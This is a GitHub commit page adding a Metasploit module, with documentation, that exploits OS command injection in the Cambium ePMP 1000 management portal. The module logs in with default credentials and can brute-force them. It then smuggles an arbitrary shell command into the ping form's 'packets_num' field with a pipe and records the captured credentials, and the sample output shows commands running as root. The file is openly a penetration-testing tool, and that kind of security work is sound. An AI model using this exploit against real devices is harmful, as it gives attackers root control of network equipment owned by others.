Skip to content

Commit f870f94

Browse files
committed
Land rapid7#8163, Add Cambium ePMP Arbitrary Command Execution
2 parents 9edc08c + 30896d1 commit f870f94

File tree

2 files changed

+292
-0
lines changed

2 files changed

+292
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_cmd_exec```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/epmp1000_cmd_exec
14+
msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7
15+
msf auxiliary(epmp1000_cmd_exec) > set rport 80
16+
msf auxiliary(epmp1000_cmd_exec) > run
17+
18+
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
19+
[*] 1.3.3.7:80 - Attempting to login...
20+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
21+
[*] 1.3.3.7:80 - Executing id; pwd
22+
uid=0(root) gid=0(root)
23+
/www/cgi-bin
24+
[*] Scanned 1 of 1 hosts (100% complete)
25+
[*] Auxiliary module execution completed
26+
27+
```
Lines changed: 265 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,265 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Cambium ePMP 1000 (up to v2.5) Arbitrary Command Execution',
17+
'Description' => %{
18+
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
23+
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
24+
],
25+
'Author' =>
26+
[
27+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'DefaultOptions' => { 'VERBOSE' => true })
31+
)
32+
33+
register_options(
34+
[
35+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
36+
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
37+
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
38+
OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])
39+
], self.class
40+
)
41+
end
42+
43+
def run_host(ip)
44+
unless is_app_epmp1000?
45+
return
46+
end
47+
48+
each_user_pass do |user, pass|
49+
do_login(user, pass)
50+
end
51+
end
52+
53+
def report_cred(opts)
54+
service_data = {
55+
address: opts[:ip],
56+
port: opts[:port],
57+
service_name: opts[:service_name],
58+
protocol: 'tcp',
59+
workspace_id: myworkspace_id
60+
}
61+
62+
credential_data = {
63+
origin_type: :service,
64+
module_fullname: fullname,
65+
username: opts[:user],
66+
private_data: opts[:password],
67+
private_type: :password
68+
}.merge(service_data)
69+
70+
login_data = {
71+
last_attempted_at: Time.now,
72+
core: create_credential(credential_data),
73+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
74+
proof: opts[:proof]
75+
}.merge(service_data)
76+
77+
create_credential_login(login_data)
78+
end
79+
80+
#
81+
# Check if App is Cambium ePMP 1000
82+
#
83+
84+
def is_app_epmp1000?
85+
begin
86+
res = send_request_cgi(
87+
{
88+
'uri' => '/',
89+
'method' => 'GET'
90+
}
91+
)
92+
93+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
94+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
95+
return false
96+
end
97+
98+
good_response = (
99+
res &&
100+
res.code == 200 &&
101+
res.headers['Server'] &&
102+
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
103+
)
104+
105+
if good_response
106+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
107+
if !get_epmp_ver.nil?
108+
epmp_ver = get_epmp_ver[1]
109+
if !epmp_ver.nil?
110+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
111+
if "#{epmp_ver}" >= '2.5'
112+
print_error('This ePMP version is not vulnerable. Module will not continue.')
113+
return false
114+
else
115+
return true
116+
end
117+
else
118+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
119+
return true
120+
end
121+
end
122+
else
123+
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
124+
return false
125+
end
126+
end
127+
128+
#
129+
# Execute arbitrary command(s)
130+
#
131+
132+
def do_login(user, pass)
133+
print_status("#{rhost}:#{rport} - Attempting to login...")
134+
begin
135+
res = send_request_cgi(
136+
{
137+
'uri' => '/cgi-bin/luci',
138+
'method' => 'POST',
139+
'headers' => {
140+
'X-Requested-With' => 'XMLHttpRequest',
141+
'Accept' => 'application/json, text/javascript, */*; q=0.01'
142+
},
143+
'vars_post' =>
144+
{
145+
'username' => 'dashboard',
146+
'password' => ''
147+
}
148+
}
149+
)
150+
151+
good_response = (
152+
res &&
153+
res.code == 200 &&
154+
res.headers.include?('Set-Cookie') &&
155+
res.headers['Set-Cookie'].include?('sysauth')
156+
)
157+
158+
if good_response
159+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
160+
161+
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
162+
163+
res = send_request_cgi(
164+
{
165+
'uri' => '/cgi-bin/luci',
166+
'method' => 'POST',
167+
'cookie' => cookie1,
168+
'headers' => {
169+
'X-Requested-With' => 'XMLHttpRequest',
170+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
171+
'Connection' => 'close'
172+
},
173+
'vars_post' =>
174+
{
175+
'username' => user,
176+
'password' => pass
177+
}
178+
}
179+
)
180+
181+
end
182+
183+
good_response = (
184+
res &&
185+
res.code == 200 &&
186+
res.headers.include?('Set-Cookie') &&
187+
res.headers['Set-Cookie'].include?('stok=')
188+
)
189+
190+
if good_response
191+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
192+
193+
report_cred(
194+
ip: rhost,
195+
port: rport,
196+
service_name: 'Cambium ePMP 1000',
197+
user: user,
198+
password: pass
199+
)
200+
201+
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
202+
if !get_stok.nil?
203+
stok_value = get_stok[1]
204+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
205+
206+
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
207+
208+
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
209+
command = datastore['CMD']
210+
inject = '|' + "#{command}" + ' ||'
211+
clean_inject = CGI.unescapeHTML(inject.to_s)
212+
213+
print_status("#{rhost}:#{rport} - Executing #{command}")
214+
215+
res = send_request_cgi(
216+
{
217+
'uri' => uri1,
218+
'method' => 'POST',
219+
'cookie' => cookie2,
220+
'headers' => {
221+
'Accept' => '*/*',
222+
'Accept-Language' => 'en-US,en;q=0.5',
223+
'Accept-Encoding' => 'gzip, deflate',
224+
'X-Requested-With' => 'XMLHttpRequest',
225+
'ctype' => '*/*',
226+
'Connection' => 'close'
227+
},
228+
'vars_post' =>
229+
{
230+
'ping_ip' => '8.8.8.8',
231+
'packets_num' => clean_inject,
232+
'buf_size' => 0,
233+
'ttl' => 1,
234+
'debug' => '0'
235+
}
236+
}
237+
)
238+
239+
vprint_line("#{res.body}")
240+
241+
# Extract ePMP version
242+
res = send_request_cgi(
243+
{
244+
'uri' => '/',
245+
'method' => 'GET'
246+
}
247+
)
248+
249+
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
250+
251+
report_cred(
252+
ip: rhost,
253+
port: rport,
254+
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
255+
user: user,
256+
password: pass
257+
)
258+
else
259+
# Login failed
260+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
261+
end
262+
end
263+
end
264+
end
265+
end

0 commit comments

Comments
 (0)